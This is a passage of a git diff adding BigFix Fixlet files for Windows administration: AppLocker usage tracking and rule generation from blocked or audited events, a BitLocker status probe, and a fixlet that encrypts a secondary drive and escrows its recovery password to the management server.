+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists keys of key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2&quot; of native registry</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-07-16</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection {not x64 of operating system}
+
+parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
+
+parameter "Storage"="{pathname of folder "__Global" of data folder of client}\C3AppUsage"
+
+folder create "{parameter "Storage"}"
+
+delete __createfile
+delete powershell.ps1
+
+createfile until _end_
+param (
+    $UsageFile = "$PSScriptRoot\AppUsage.xml"
+)
+
+function load-usage {{
+    param (
+        [string] $File
+    )
+    try {{
+        [XML] $XML = New-Object System.XML.XMLDocument
+        $XML.Load($UsageFile)
+
+        return $XML
+    } catch {{
+        return [xml] '<Usage><FirstUpdate><Date></Date><Time></Time><DateTime></DateTime></FirstUpdate><LastUpdate><Date>Monday, January 1, 0001</Date><Time>12:00:00 AM</Time><DateTime>0001-01-01T06:00:00.0000000Z</DateTime></LastUpdate><Applications></Applications></Usage>'
+    }
+}
+
+function get-ApplockerLogs {{
+    param (
+        $EventsAfter
+    )
+    $Logs = get-winevent -logname "Microsoft-Windows-AppLocker/EXE and DLL" -FilterXPath "*[System[TimeCreated[@SystemTime > '$EventsAfter']]]"
+
+    return $Logs | sort-object -property TimeCreated
+}
+
+function set-datetime {{
+    param (
+        $XMLNode,
+        [DateTime]$DateTime
+    )
+	$XMLNode.Date = $DateTime.ToString("ddd, dd MMM yyyy")
+    $XMLNode.Time = $DateTime.ToString("HH:mm:ss")
+    $XMLNode.DateTime = "$($DateTime.GetDateTimeFormats("o"))"
+}
+
+# Load Application Usage Store
+$Usage = load-usage -File $UsageFile
+
+$Applications = $Usage.SelectSingleNode("/Usage/Applications")
+
+$FirstUpdate = $Usage.SelectSingleNode("/Usage/FirstUpdate")
+$LastUpdate = $Usage.SelectSingleNode("/Usage/LastUpdate")
+
+#Get Events
+$Applocker = get-applockerlogs -EventsAfter ($LastUpdate.DateTime)
+
+if (!($Applocker)) {{ write-verbose "No new logs. Exiting."; exit}
+
+#Process Events into Application Usage Store
+foreach ($Event in $Applocker){{
+
+    if (!($Event.Message -match '(.*?\\([^\\]*?)) was allowed to run.')) {{ continue; }
+
+    $Hash = ([System.BitConverter]::ToString($Event.Properties[12].Value)).replace("-","")
+
+    if (!($Applications.SelectSingleNode("/Usage/Applications/App[@Hash = '$Hash']"))){{
+        #Pull Out Regex Matches
+        $Exe = $Matches[2]; $Path = $Matches[1]; $Version = "N/A"
+
+        # Get Version if it's available
+        if ($Event.Properties[14].Value -match "(\d+\.*)+$") {{ $Version = $Matches[0]}
+        # If we've never set FirstUpdate, set it now
+		if (!($FirstUpdate.DateTime)) {{ set-datetime -XMLNode $FirstUpdate -DateTime $Event.TimeCreated }
+
+        # Create XML Node
+        [xml]$XML = @"
+<App Hash="$Hash">
+    <Path>$Path</Path>
+    <Exe>$Exe</Exe>
+    <Date></Date>
+    <Time></Time>
+    <DateTime></DateTime>
+    <Version>$Version</Version>
+    <Count>1</Count>
+</App>
+"@
+        set-datetime -XMLNode $XML.App -DateTime $Event.TimeCreated
+
+        $Applications.AppendChild($Usage.ImportNode($XML.app, $true)) | out-null
+    } else {{
+        $Node = $Applications.SelectSingleNode("/Usage/Applications/App[@Hash = '$Hash']")
+
+        set-datetime -XMLNode $Node -DateTime $Event.TimeCreated
+
+        $Node.Count = "$([int]$Node.Count + 1)"
+    }
+}
+
+#Save TimeStamp
+Set-datetime -XMLNode $LastUpdate -DateTime $Event.TimeCreated
+
+#Output updated Application Usage Store
+#$Usage.OuterXml > $Usage
+$Usage.Save($UsageFile)
+
+_end_
+
+move __createfile powershell.ps1
+
+override wait
+hidden=true
+completion=job
+wait "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -NoProfile -File powershell.ps1 -UsageFile "{parameter "Storage"}\AppUsage.xml"]]></ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Applocker Rule Creation From Blocks and Warnings - Windows (21336).bes b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Applocker Rule Creation From Blocks and Warnings - Windows (21336).bes
new file mode 100644
index 000000000..992c40ec6
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Applocker Rule Creation From Blocks and Warnings - Windows (21336).bes	
@@ -0,0 +1,250 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Invoke - Applocker Rule Creation From Blocks and Warnings - Windows
+  ID       : 21336
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-08-25T15:01:27
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Invoke - Applocker Rule Creation From Blocks and Warnings - Windows</Title>
+    <Description><![CDATA[<P>Creates BigFix Fixlets for denied or audited Applocker events on the target system.</P>
+<P>Fixlets are placed in the BES Client Directory under __BESData\__Global\ApplockerGeneratedRules</P>
+<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Applocker">https://github.com/strawgate/C3-Protect/wiki/Applocker</A>&nbsp;</P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-28</SourceReleaseDate>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
+action uses wow64 redirection {not x64 of operating system}
+
+parameter &quot;PowerShellExe&quot;=&quot;{ pathname of file ((it as string) of value &quot;Path&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of native registry) }&quot;
+parameter &quot;Storage&quot;=&quot;{pathname of data folder of client}\__Global\ApplockerGeneratedRules&quot;
+
+createfile until __end__
+Function Remove-InvalidFileNameChars {{
+&lt;#
+.SYNOPSIS
+Removes characters considered invalid by the Windows Operating System for file names.
+
+.DESCRIPTION
+Takes a string over the pipline or as a parameter and removes invalid characters from the file name.
+This sanitization allows you safely take the name you have passed and use it to save a file to disk.
+
+.PARAMETER Name
+A string you wish to escape
+#&gt;
+  param(
+    [Parameter(Mandatory=$true,
+      Position=0,
+      ValueFromPipeline=$true,
+      ValueFromPipelineByPropertyName=$true)]
+    [String]$Name
+  )
+
+  $invalidChars = [IO.Path]::GetInvalidFileNameChars() -join &apos;&apos;
+  $re = &quot;[{{0}%]&quot; -f [RegEx]::Escape($invalidChars)
+  return ($Name -replace $re)
+}
+
+Function Merge-AppLockerPolicy {{
+    Param (
+        $Policies
+    )
+    $ExeMethod = &quot;&quot;
+    $MsiMethod = &quot;&quot;
+    $ScriptMethod = &quot;&quot;
+    $AppxMethod = &quot;&quot;
+
+    $ExeRules = &quot;&quot;
+    $MsiRules = &quot;&quot;
+    $ScriptRules = &quot;&quot;
+    $AppXRules = &quot;&quot;
+
+    foreach ($Policy in $Policies) {{
+        $xml = select-xml -Path $Ruleset.fullname -XPath &quot;/AppLockerPolicy/RuleCollection&quot;
+
+        foreach ($Collection in $XML) {{
+
+            if ($Collection.Node.Type -eq &quot;Exe&quot;) {{
+                if ($Collection.Node.InnerXml.trim()) {{$ExeRules += $Collection.Node.InnerXml.tostring()}
+                if ($Collection.Node.EnforcementMode -eq &quot;AuditOnly&quot; -and $ExeMethod -ne &quot;Enabled&quot;) {{ $ExeMethod = &apos;EnforcementMode=&quot;AuditOnly&quot;&apos; }
+                if ($Collection.Node.EnforcementMode -eq &quot;Enabled&quot;) {{ $ExeMethod = &apos;EnforcementMode=&quot;Enabled&quot;&apos; }
+            }
+
+            if ($Collection.Node.Type -eq &quot;Script&quot;) {{
+                if ($Collection.Node.InnerXml.trim()) {{$ScriptRules += $Collection.Node.InnerXml.tostring()}
+                if ($Collection.Node.EnforcementMode -eq &quot;AuditOnly&quot; -and $ScriptMethod -ne &quot;Enabled&quot;) {{ $ScriptMethod = &apos;EnforcementMode=&quot;AuditOnly&quot;&apos; }
+                if ($Collection.Node.EnforcementMode -eq &quot;Enabled&quot;) {{ $ScriptMethod = &apos;EnforcementMode=&quot;Enabled&quot;&apos; }
+            }
+
+            if ($Collection.Node.Type -eq &quot;Msi&quot;) {{
+                if ($Collection.Node.InnerXml.trim()) {{$MsiRules += $Collection.Node.InnerXml.tostring()}
+                if ($Collection.Node.EnforcementMode -eq &quot;AuditOnly&quot; -and $MsiMethod -ne &quot;Enabled&quot;) {{ $MsiMethod = &apos;EnforcementMode=&quot;AuditOnly&quot;&apos; }
+                if ($Collection.Node.EnforcementMode -eq &quot;Enabled&quot;) {{ $MsiMethod = &apos;EnforcementMode=&quot;Enabled&quot;&apos; }
+            }
+
+            if ($Collection.Node.Type -eq &quot;AppX&quot;) {{
+                if ($Collection.Node.InnerXml.trim()) {{$AppXRules += $Xml.Node.InnerXml.tostring()}
+                if ($Collection.Node.EnforcementMode -eq &quot;AuditOnly&quot; -and $AppXMethod -ne &quot;Enabled&quot;) {{ $AppXMethod = &apos;EnforcementMode=&quot;AuditOnly&quot;&apos; }
+                if ($Collection.Node.EnforcementMode -eq &quot;Enabled&quot;) {{ $AppXMethod = &apos;EnforcementMode=&quot;Enabled&quot;&apos; }
+            }
+
+        }
+    }
+
+    $Policy = @&quot;
+&lt;AppLockerPolicy Version=&quot;1&quot;&gt;
+    &lt;RuleCollection Type=&quot;Exe&quot; $ExeMethod&gt;
+        $ExeRules
+    &lt;/RuleCollection&gt;
+    &lt;RuleCollection Type=&quot;Msi&quot; $MsiMethod&gt;
+        $MsiRules
+    &lt;/RuleCollection&gt;
+    &lt;RuleCollection Type=&quot;Script&quot; $ScriptMethod&gt;
+        $ScriptRules
+    &lt;/RuleCollection&gt;
+    &lt;RuleCollection Type=&quot;Appx&quot; $AppxMethod&gt;
+        $AppxRules
+    &lt;/RuleCollection&gt;
+&lt;/AppLockerPolicy&gt;
+&quot;@
+    return $Policy
+}
+
+Function New-ApplockerFixlet {{
+    Param (
+        $Type,
+        $Name,
+        $XML
+    )
+
+$Fixlet = @&quot;
+&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;
+&lt;BES xmlns:xsi=&quot;http://www.w3.org/2001/XMLSchema-instance&quot; xsi:noNamespaceSchemaLocation=&quot;BES.xsd&quot;&gt;
+	&lt;Fixlet&gt;
+		&lt;Title&gt;Config - Cache Applocker Rules - $Type, $Name - Windows&lt;/Title&gt;
+		&lt;Description&gt;&lt;![CDATA[&lt;P&gt;This policy adds a policy to Applocker. Specifically it provides a rule for $Type&lt;/P&gt;&lt;br&gt;The rule self describes as: $Name]]&gt;&lt;/Description&gt;
+		&lt;Relevance&gt;Windows of Operating System&lt;/Relevance&gt;
+		&lt;Relevance&gt;&lt;![CDATA[(not exists file (pathname of data folder of client &amp; &quot;\__Global\Applocker\$(Remove-InvalidFileNameChars &quot;$Type-$Name&quot;).xml&quot;))]]&gt;&lt;/Relevance&gt;
+		&lt;Category&gt;Application Whitelisting&lt;/Category&gt;
+		&lt;Source&gt;Internal&lt;/Source&gt;
+		&lt;SourceID&gt;&lt;/SourceID&gt;
+		&lt;SourceReleaseDate&gt;2016-05-10&lt;/SourceReleaseDate&gt;
+		&lt;SourceSeverity&gt;&lt;/SourceSeverity&gt;
+		&lt;CVENames&gt;&lt;/CVENames&gt;
+		&lt;SANSID&gt;&lt;/SANSID&gt;
+		&lt;MIMEField&gt;
+			&lt;Name&gt;x-fixlet-modification-time&lt;/Name&gt;
+			&lt;Value&gt;Tue, 17 May 2016 21:39:44 +0000&lt;/Value&gt;
+		&lt;/MIMEField&gt;
+		&lt;Domain&gt;BESC&lt;/Domain&gt;
+		&lt;DefaultAction ID=&quot;Action1&quot;&gt;
+			&lt;Description&gt;
+				&lt;PreLink&gt;Click &lt;/PreLink&gt;
+				&lt;Link&gt;here&lt;/Link&gt;
+				&lt;PostLink&gt; to deploy this action.&lt;/PostLink&gt;
+			&lt;/Description&gt;
+			&lt;ActionScript MIMEType=&quot;application/x-Fixlet-Windows-Shell&quot;&gt;&lt;![CDATA[action uses wow64 redirection {{not x64 of operating system}
+
+parameter &quot;RuleName&quot;=&quot;$(Remove-InvalidFileNameChars &quot;$Type-$Name&quot;)&quot;
+parameter &quot;Storage&quot;=&quot;{{pathname of data folder of client}\__Global\Applocker&quot;
+
+delete __createfile
+
+createfile until _end_
+&lt;AppLockerPolicy Version=&quot;1&quot;&gt;
+&lt;RuleCollection Type=&quot;$Type&quot;&gt;
+$($XML)
+&lt;/RuleCollection&gt;
+&lt;/AppLockerPolicy&gt;
+_end_
+
+folder create &quot;{{parameter &quot;Storage&quot;}&quot;
+
+delete &quot;{{parameter &quot;Storage&quot;}\{{parameter &quot;RuleName&quot;}.xml&quot;
+move __createfile &quot;{{parameter &quot;Storage&quot;}\{{parameter &quot;RuleName&quot;}.xml&quot;
+
+]]&gt;&lt;/ActionScript&gt;
+		&lt;/DefaultAction&gt;
+	&lt;/Fixlet&gt;
+&lt;/BES&gt;
+&quot;@
+    return $Fixlet
+}
+__end__
+
+delete Applocker.psm1
+move __createfile Applocker.psm1
+
+createfile until __end__
+param (
+    $OutDir = &quot;.\Output&quot;
+)
+
+import-module applocker
+import-module &quot;.\Applocker.psm1&quot; -force
+
+$Policy = Get-AppLockerFileInformation -EventLog -LogPath &quot;Microsoft-Windows-AppLocker/EXE and DLL&quot; -EventType Denied, Audited  | New-AppLockerPolicy -RuleType Publisher, Hash, Path -User Everyone -Optimize
+
+foreach ($CollectionType in $Policy.RuleCollectionTypes){{
+    foreach($Rule in $Policy.GetRuleCollection($CollectionType)) {{
+        $Action = $Rule.Action
+        $Name = $Rule.Name
+        $Type = $CollectionType
+        $ID = $Rule.ID
+
+        $Fixlet = New-AppLockerFixlet -Name $Name -Type $Type -Xml $Rule.ToXML()
+
+        $Fixlet &gt; &quot;$OutDir\$(Remove-InvalidFileNameChars &quot;$Type-$Name.bes&quot;)&quot;
+    }
+}
+
+$Policy = Get-AppLockerFileInformation -EventLog -LogPath &quot;Microsoft-Windows-AppLocker/Msi and Script&quot; -EventType Denied, Audited  | New-AppLockerPolicy -RuleType Publisher, Hash, Path -User Everyone -Optimize
+
+foreach ($CollectionType in $Policy.RuleCollectionTypes){{
+    foreach($Rule in $Policy.GetRuleCollection($CollectionType)) {{
+        $Action = $Rule.Action
+        $Name = $Rule.Name
+        $Type = $CollectionType
+        $ID = $Rule.ID
+
+        $Fixlet = New-AppLockerFixlet -Name $Name -Type $Type -Xml $Rule.ToXML()
+
+        $Fixlet &gt; &quot;$OutDir\$(Remove-InvalidFileNameChars &quot;$Type-$Name.bes&quot;)&quot;
+    }
+}
+__end__
+
+delete GenerateRules.ps1
+move __createfile GenerateRules.ps1
+
+folder create &quot;{parameter &quot;Storage&quot;}&quot;
+
+//
+// Configure Upload Manager
+//
+
+setting &quot;_BESClient_ArchiveManager_MaxArchiveSize&quot;=&quot;2097152&quot; on &quot;{parameter &quot;action issue date&quot; of action}&quot; for client
+setting &quot;_BESClient_ArchiveManager_OperatingMode&quot;=&quot;2&quot; on &quot;{parameter &quot;action issue date&quot; of action}&quot; for client
+setting &quot;_BESClient_ArchiveManager_FileSet-APPLOCKER&quot;=&quot;{parameter &quot;Storage&quot;}\*.*&quot; on &quot;{parameter &quot;action issue date&quot; of action}&quot; for client
+
+waithidden &quot;{parameter &quot;PowershellExe&quot;}&quot; -ExecutionPolicy Bypass -File GenerateRules.ps1 -OutDir &quot;{parameter &quot;Storage&quot;}&quot;
+
+archive now
+</ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Bitlocker Configuration Probe - Windows (20701).bes b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Bitlocker Configuration Probe - Windows (20701).bes
new file mode 100644
index 000000000..4dd98dd7b
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Bitlocker Configuration Probe - Windows (20701).bes	
@@ -0,0 +1,78 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Invoke - Bitlocker Configuration Probe - Windows
+  ID       : 20701
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-05-27T10:08:00
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Invoke - Bitlocker Configuration Probe - Windows</Title>
+    <Description><![CDATA[<P>This probe grabs the current bitlocker configuration of the system in it's raw format and outputs it to disk to be gathered by analyses.</P>
+<P>Creates a Volume-Status.txt file in __BESData.</P>
+<P>Example</P>
+<UL>
+<LI>C-Status.txt
+<LI>D-Status.txt</LI></UL>
+<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Bitlocker">https://github.com/strawgate/C3-Protect/wiki/Bitlocker</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[if(exists WMI "root\CIMv2\Security\MicrosoftVolumeEncryption") then (number of select objects ("* from win32_EncryptableVolume")of WMI "root\CIMv2\Security\MicrosoftVolumeEncryption" >= 1) else (false)]]></Relevance>
+    <Relevance><![CDATA[(windows of operating system) AND (version of operating system >= "6.0") AND (( exists product info string whose(it ends with "Enterprise" OR it starts with "Enterprise" OR it ends with "Ultimate" OR it ends with "Server Datacenter") of operating system ) OR ( (version of operating system >= "6.2") AND (exists product info string whose(it ends with "Business") of operating system) ))]]></Relevance>
+    <Category>Disk Encryption</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-30</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[//Script will not capture bitlocker recovery password with wow64 redirection enabled
+action uses wow64 redirection {not x64 of operating system}
+
+parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
+
+parameter "Storage"="{pathname of folder "__Global" of data folder of client}\Bitlocker"
+
+folder create "{parameter "Storage"}"
+
+delete __createfile
+delete powershell.ps1
+
+createfile until _end_
+param (
+    $OutFolder = "."
+)
+#Regex for extracting the volume letters from the BitLocker Status
+[regex] $VolumeRegex = "Volume ([a-zA-Z]:)"
+
+#Get Bitlocker Status: Windows 7+
+$BitlockerStatus = (manage-bde -status)
+
+#Extract Volume Letters from Bitlocker Status
+$Volumes = $VolumeRegex.Matches($BitlockerStatus) | foreach-object {{$_.groups[1].value}
+
+#Get Status
+foreach ($Volume in $Volumes) {{
+    $VolumeStatus = (manage-bde -status $Volume)
+
+    $VolumeStatus > "$OutFolder\$($Volume[0])-Status.txt"
+}
+_end_
+
+move __createfile powershell.ps1
+
+waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -File powershell.ps1 -OutFolder "{parameter "Storage"}"]]></ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Bitlocker Encrypt Secondary Volume - Windows (21696).bes b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Bitlocker Encrypt Secondary Volume - Windows (21696).bes
new file mode 100644
index 000000000..b59dcf55a
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Bitlocker Encrypt Secondary Volume - Windows (21696).bes	
@@ -0,0 +1,255 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Invoke - Bitlocker Encrypt Secondary Volume - Windows
+  ID       : 21696
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-09-22T17:54:25
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Invoke - Bitlocker Encrypt Secondary Volume - Windows</Title>
+    <Description><![CDATA[<P>This fixlet will encrypt the specified drive of a device.</P>
+<P>The recovery password generated by action 1 is available via the <STRONG>Analysis: Bitlocker - Recovery Password - Windows</STRONG></P>
+<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Bitlocker">https://github.com/strawgate/C3-Protect/wiki/Bitlocker</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[(windows of operating system) AND (version of operating system >= "6.0") AND (( exists product info string whose(it ends with "Enterprise" OR it starts with "Enterprise" OR it ends with "Ultimate" OR it ends with "Server Datacenter") of operating system ) OR ( (version of operating system >= "6.2") AND (exists product info string whose(it ends with "Business") of operating system) )) /* Correct version of Windows */]]></Relevance>
+    <Relevance>(boolean value of selects &quot;IsActivated_InitialValue from Win32_Tpm&quot; of wmis &quot;root\CIMv2\Security\MicrosoftTpm&quot;) and (boolean value of selects &quot;IsEnabled_InitialValue from Win32_Tpm&quot; of wmis &quot;root\CIMv2\Security\MicrosoftTpm&quot;) and (boolean value of selects &quot;IsOwned_InitialValue from Win32_Tpm&quot; of wmis &quot;root\CIMv2\Security\MicrosoftTpm&quot;) /* TPM Active, Owned, and Enabled */</Relevance>
+    <Relevance><![CDATA[if(exists WMI "root\CIMv2\Security\MicrosoftVolumeEncryption") then (number of select objects ("* from win32_EncryptableVolume")of WMI "root\CIMv2\Security\MicrosoftVolumeEncryption" >= 1) else (false) /* There is a drive to encrypt... This should probable be made more specific*/]]></Relevance>
+    <Relevance><![CDATA[uptime of operating system > 10*minute /* Bitlocker status doesn't change immediately after first reboot */]]></Relevance>
+    <Relevance><![CDATA[exists selects ("* from win32_EncryptableVolume where (DriveLetter LIKE '_:' and DriveLetter!='" & name of drive of system folder & "')")of WMI "root\CIMv2\Security\MicrosoftVolumeEncryption" /* There are encryptable non system drives with drive letters attached */]]></Relevance>
+    <Relevance><![CDATA[integer value of selects ("ProtectionStatus from win32_EncryptableVolume where (DriveLetter LIKE '_:' and DriveLetter!='" & name of drive of system folder & "')") of WMI "root\CIMv2\Security\MicrosoftVolumeEncryption" = 0 /* There are encryptable non-system drives with drive letters that are not currently encrypted */]]></Relevance>
+    <Category>Disk Encryption</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-29</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to encrypt the specified drive using the TPM and a random recovery password.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action parameter query "Volume" with description "Volume to encrypt. Example C: or D:"
+
+action uses wow64 redirection {not x64 of operating system}
+
+//
+// Configure Storage and Instance Paths
+//
+
+parameter "Storage"="{pathname of folder "__Global" of data folder of client}\Bitlocker"
+parameter "Instance"="{(now - "01 Jan 1970 00:00:00" as local time) / (1 * second)}"
+parameter "InstanceStorage"="{parameter "Storage"}\{parameter "Instance"}"
+
+folder create "{parameter "Storage"}"
+folder create "{parameter "Storage"}\{parameter "Instance"}"
+
+//
+// Configure Upload Manager
+//
+
+setting "_BESClient_ArchiveManager_MaxArchiveSize"="2097152" on "{now}" for client
+setting "_BESClient_ArchiveManager_OperatingMode"="2" on "{now}" for client
+setting "_BESClient_ArchiveManager_FileSet-BITLOCKER{parameter "Instance"}"="{parameter "InstanceStorage"}\*.*" on "{now}" for client
+
+//
+// Cleanup before writing scripts
+//
+delete __createfile
+delete enable.bat
+delete terminate.bat
+delete addrecoverykey.bat
+delete status.bat
+
+//
+// Write Scripts
+//
+
+createfile until _end_
+manage-bde -status {parameter "Volume" of action} > "{parameter "InstanceStorage"}\Status.log"
+_end_
+
+move __createfile status.bat
+
+createfile until _end_
+manage-bde -on {parameter "Volume" of action} > "{parameter "InstanceStorage"}\Enable.log"
+_end_
+
+move __createfile enable.bat
+
+createfile until _end_
+manage-bde -off {parameter "Volume" of action} > "{parameter "InstanceStorage"}\Terminate.log
+manage-bde -protectors {parameter "Volume" of action} -delete -type -recoverypassword >> "{parameter "InstanceStorage"}\Terminate.log
+_end_
+
+move __createfile terminate.bat
+
+createfile until _end_
+manage-bde -protectors -add {parameter "Volume" of action} -recoverypassword > "{parameter "InstanceStorage"}\AddRecoveryKey.log
+_end_
+
+move __createfile addrecoverykey.bat
+
+//
+// Get BitLocker Status
+//
+
+wait status.bat
+
+if {((not exists lines containing "Encryption in Progress" of it) and (not exists lines containing "NOTE: Encryption will begin after the hardware test succeeds." of it)) of file "Status.log" of folder (parameter "InstanceStorage") }
+
+	// DO NOT CONTINUE IF THERE IS AN EXISTING UPLOAD IN PROGRESS
+	continue if {not exists setting "_BESClient_UploadManager_Progress" of client}
+
+	wait enable.bat
+
+	// No existing recovery key -- add one
+	if { not exists lines containing "Numerical Password" of file "Status.log" of folder (parameter "InstanceStorage")}
+		wait addrecoverykey.bat
+	endif
+
+	// If the action dies here there is a bootable CD or DVD in the drive
+	if { exists lines containing "ERROR: BitLocker detected a bootable CD or DVD on the computer." of file "Enable.log" of folder (parameter "InstanceStorage")}
+		// BitLocker is in inconsistent state -- kill encryption
+		wait terminate.bat
+		archive now
+		exit 20
+	endif
+
+	// If the action dies here there was another error
+	if { exists lines containing "ERROR" of file "Enable.log" of folder (parameter "InstanceStorage")}
+		// BitLocker is in inconsistent state -- kill encryption
+		wait terminate.bat
+		archive now
+		exit 10
+	endif
+
+	archive now
+
+	action requires restart
+
+else
+
+	archive now
+
+	action requires restart
+
+endif]]></ActionScript>
+    </DefaultAction>
+    <Action ID="Action22628">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to encrypt the specified drive using just the TPM.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action parameter query "Volume" with description "Volume to encrypt. Example C: or D:"
+
+action uses wow64 redirection {not x64 of operating system}
+
+//
+// Configure Storage and Instance Paths
+//
+
+parameter "Storage"="{pathname of folder "__Global" of data folder of client}\Bitlocker"
+parameter "Instance"="{(now - "01 Jan 1970 00:00:00" as local time) / (1 * second)}"
+parameter "InstanceStorage"="{parameter "Storage"}\{parameter "Instance"}"
+
+folder create "{parameter "Storage"}"
+folder create "{parameter "Storage"}\{parameter "Instance"}"
+
+//
+// Configure Upload Manager
+//
+
+setting "_BESClient_ArchiveManager_MaxArchiveSize"="2097152" on "{now}" for client
+setting "_BESClient_ArchiveManager_OperatingMode"="2" on "{now}" for client
+setting "_BESClient_ArchiveManager_FileSet-BITLOCKER{parameter "Instance"}"="{parameter "InstanceStorage"}\*.*" on "{now}" for client
+
+//
+// Cleanup before writing scripts
+//
+delete __createfile
+delete enable.bat
+delete terminate.bat
+delete addrecoverykey.bat
+delete status.bat
+
+//
+// Write Scripts
+//
+
+createfile until _end_
+manage-bde -status {parameter "Volume" of action} > "{parameter "InstanceStorage"}\Status.log"
+_end_
+
+move __createfile status.bat
+
+createfile until _end_
+manage-bde -on {parameter "Volume" of action} > "{parameter "InstanceStorage"}\Enable.log"
+_end_
+
+move __createfile enable.bat
+
+createfile until _end_
+manage-bde -off {parameter "Volume" of action} > "{parameter "InstanceStorage"}\Terminate.log
+manage-bde -protectors {parameter "Volume" of action} -delete -type -recoverypassword >> "{parameter "InstanceStorage"}\Terminate.log
+_end_
+
+move __createfile terminate.bat
+
+createfile until _end_
+manage-bde -protectors -add {parameter "Volume" of action} -recoverypassword > "{parameter "InstanceStorage"}\AddRecoveryKey.log
+_end_
+
+move __createfile addrecoverykey.bat
+
+//
+// Get BitLocker Status
+//
+
+wait status.bat
+
+if {((not exists lines containing "Encryption in Progress" of it) and (not exists lines containing "NOTE: Encryption will begin after the hardware test succeeds." of it)) of file "Status.log" of folder (parameter "InstanceStorage") }
+
